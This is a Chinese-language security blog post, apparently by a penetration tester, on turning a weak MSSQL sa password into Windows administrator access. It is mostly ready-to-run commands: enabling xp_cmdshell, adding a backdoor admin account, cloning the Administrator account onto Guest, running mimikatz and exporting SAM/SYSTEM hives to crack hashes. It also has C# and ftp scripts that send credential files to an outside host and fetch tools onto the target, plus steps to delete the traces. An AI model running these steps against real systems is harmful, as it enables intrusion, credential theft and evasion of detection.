PythonPig's Blog 移动通信 TCP/IP Hacker 后渗透 伪码农

MSSQL弱口令的几种利用方法

2018-10-25
PythonPig

#0x00 写在前面

2015年8月的时候对国内最大的某二手房地产公司做过一次安全测试,提交了wooyun,漏洞是由一个MSSQL注入引发,导致提权,最后完成内网漫游,链接就不贴出来了。最近又遇到了类似的情况,借这个机会记录一下MSSQL高权限漏洞的利用过程。

关于MSSQL漏洞利用已经讨论的很多了,这篇文章重点不讨论MSSQL漏洞利用,而是聊一下基于MSSQL漏洞获取windows权限的一些方法。

图片来源于:https://blog.stealthbits.com/gain-system-access-and-persistence-with-sql-native-attacks-sql-attacks/

#0x01 xp_cmdshell启用

本次漏洞是MSSQL sa 弱口令引发,思路很明确,Navicat连接数据库,Query利用xp_cmdshell执行系统命令(当然也可以使用kali自带的mssqlclient.py,更方便:mssqlclient.py sa:password@10.10.10.10,数据库连接后help查看使用方法)。返回“SQL Server Blocked Access to Procedure ‘sys.xp_cmdshell’ of Component ‘xp_cmdshell’”,xp_cmdshell没有启用,启用之

EXEC sp_configure 'show advanced options',1//允许修改高级参数
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1  //打开xp_cmdshell扩展
RECONFIGURE

现在可以执行系统命令了,下面需要做的就是获取windows的权限,这里讨论使用Administrator登录目标系统。方法很多,今天讨论以下4种:
1、添加管理员账户
2、提权Guest账户(账户克隆)
3、下载mimikatz等获取Administrator明文口令
4、获取注册表Administrator等用户的hash,本地破解

#0x02 添加管理员账户

这种方法操作最简单,但是动静相对比较大,隐蔽性不高,渗透测试中使用的还是比较多的。
1、添加用户
2、添加至管理员组
3、使用admin进行远程桌面登录
4、利用完成后删除账户

exec master..xp_cmdshell 'net user admin 123 /add'
exec master..xp_cmdshell 'net localgroup administrators admin /add'
exec master..xp_cmdshell 'net user admin /del'

#0x03 提权Guest账户(账户克隆)

1、获取administrator账号的相关信息

exec master..xp_regread 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F4','F'

000001F4指的是Administrator,项目F中保存的是一些登录记录,比如上次登录时间、错误登录次数等,还有一个重要的地方就是这个帐号的SID相对标志符,与F对应的还有一个V,其中保存的是帐户的基本资料,用户名、用户全名(full name)、所属组、描述、密码hash、注释、是否可以更改密码、帐户启用、密码设置时间等。。

2、将刚刚获取的0x…开头的value值赋值给guest账号

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F5','F','reg_binary',0x......

3、启用guest账户并提权

exec master..xp_cmdshell ' net user Guest /active:yes'
exec master..xp_cmdshell 'net localgroup administrators Guest /add'

4、使用Guest进行远程桌面登录

#0x04 下载mimikatz等获取Administrator明文口令

这种方法有两个限制:
1、通过xp_cmdshell可以下载mimikatz到目标机或上传mimikatz到目标机器(使用xp_cmdshell上传或下载见0x06)
2、近期用户登录过系统,可以通过mimikatz获取Administrator的明文口令
上传mimikatz到目标机之后,通过xp_cmdshell运行mimikatz,执行命令为:

exec master..xp_cmdshell 'c:\mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit && dir'

#0x05 获取注册表中用户的hash,本地破解

这种方法有一个限制:可以从目标机器上下载文件到本地。

1、导出目标机器上注册表信息到文件,在本地执行以下命令:

exec master..xp_cmdshell 'C:\Windows\system32\reg.exe save hklm\sam c:\sam.hive'
exec master..xp_cmdshell 'C:\Windows\system32\reg.exe save hklm\system c:\system.hive'

2、将目标机器上导出的注册表信息下载的本地(使用xp_cmdshell上传或下载见0x06)

3、使用Impacket的secretsdump.py获取用户hash。

secretsdump.py  -sam sam.hive -system system.hive LOCAL

4、LM hash和NTLM hash可在线破解:
cmd5
LM/NTLM hash在线破解
5、破解Administrator密码成功后,远程桌面登录,提取成功,删除文件sam.hive,system.hive。

#0x06 Windows cmd(xp_cmdshell)命令行上传下载方法

方法有很多,限制条件和使用条件各不相同,这里介绍两种在本次渗透过程中用到的两种。

一、利用.NET环境,完成文件的上传下载

(一)使用C#完成文件下载(下载文件mi.exe到目标机器)

1、把C#文件中的回车换行去掉,把代码写成一行,通过echo命令把代码写入c:\1.cs

exec master..xp_cmdshell 'echo using System.Net;namespace downloader{class Program{static void Main(string[] args){WebClient client = new WebClient();string URLAddress = @"http://172.30.10.49/mi.exe";string receivePath = @"C:\";client.DownloadFile(URLAddress, receivePath+System.IO.Path.GetFileName(URLAddress));}}} > c:\1.cs'

2、编译C#文件为可执行文件
利用csc.exe编译C#文件,csc.exe的所在位置与 .NET Framework的版本有关,根据实际情况确定(可通过xp_cmdshell执行dir命令来确定csc.exe的位置。

exec master..xp_cmdshell 'C:\Windows\Microsoft.NET\Framework\v1.1.4322\csc.exe /out:C:\download.exe C:\1.cs'

3、运行download下载mimikatz到目标机器

exec master..xp_cmdshell 'C:\download.exe'

4、mi.exe将被下载至C盘。

5、渗透完成后执行以下命令删除遗留文件1.cs、download.exe、mi.exe

exec master..xp_cmdshell 'del c:\1.cs'
exec master..xp_cmdshell 'del c:\download.exe'
exec master..xp_cmdshell 'del c:\mi.exe'
(二)使用C#完成文件上传(上传文件test.txt到HTTPServer)

1、文件编译方法同上(一),上传用到的1.cs文件如下所示:

using System.Net;namespace uploader{class Program{static void Main(string[] args){WebClient client = new WebClient();client.Headers.Add(HttpRequestHeader.Referer,"rerefeR");string URLAddress = @"http://xxxx:8000";string myFile = @"C:\test.txt";client.Credentials = CredentialCache.DefaultCredentials;client.UploadFile(URLAddress, "POST", myFile);client.Dispose();}}}

2、启动HTTPServer

python SimpleHTTPServerWithUpload.py 8000

SimpleHTTPServerWithUpload.py下载

3、执行1.cs编译生成的可执行文件即可把C:\test.txt上传到HTTPServer机器的SimpleHTTPServerWithUpload.py所在目录。
补充:如果目标机器上有curl,可以通过下面的命令配合SimpleHTTPServerWithUpload.py上传文件:

curl xxxx:port -F "file=@/path/file" --header "referer:a"

二、利用ftp进行上传下载

可能会用到的FTP Server推荐FileZilla

(一)利用ftp从目标机器上传文件至ftp服务器

1、把ftp命令写入文件
把下面的ftp命令写入目标机器的c:\ftp.txt里

open 172.30.10.49 21  #ftp服务器地址
admin   #username
admin   #password
bin 
PUT c:\sam.hive 
PUT c:\system.hive

执行如下命令

exec master..xp_cmdshell 'echo open 172.30.10.49 21> c:\ftp.txt'
exec master..xp_cmdshell 'echo admin>> c:\ftp.txt'
exec master..xp_cmdshell 'echo admin>> c:\ftp.txt'
exec master..xp_cmdshell 'echo bin>> c:\ftp.txt'
exec master..xp_cmdshell 'echo PUT c:\sam.hive>> c:\ftp.txt'
exec master..xp_cmdshell 'echo PUT c:\system.hive>> c:\ftp.txt'

注意”>、»“前面不能有空格。

2、执行ftp命令

exec master..xp_cmdshell 'ftp -s:c:\ftp.txt'

3、执行后sam.hive将被上传至ftp服务器根目录。
4、删除目标机器上的ftp.txt

exec master..xp_cmdshell 'del c:\ftp.txt'
(二)利用ftp把文件下载至目标机器

1、把ftp命令写入文件
把下面的ftp命令写入目标机器的c:\ftp.txt里

open 172.30.10.49 21  #ftp服务器地址
admin   #username
admin   #password
bin 
GET mimikatz.exe 

依次执行如下命令

exec master..xp_cmdshell 'echo open 172.30.10.49 21> c:\ftp.txt'
exec master..xp_cmdshell 'echo admin>> c:\ftp.txt'
exec master..xp_cmdshell 'echo admin>> c:\ftp.txt'
exec master..xp_cmdshell 'echo bin>> c:\ftp.txt'
exec master..xp_cmdshell 'echo GET mimikatz.exe>> c:\ftp.txt'

注意”>、»“前面不能有空格。
2、执行ftp命令

exec master..xp_cmdshell 'ftp -s:c:\ftp.txt'

3、执行后mimikatz.exe将被下载到目标机器c盘根目录。

#0x07 参考


Comments

Content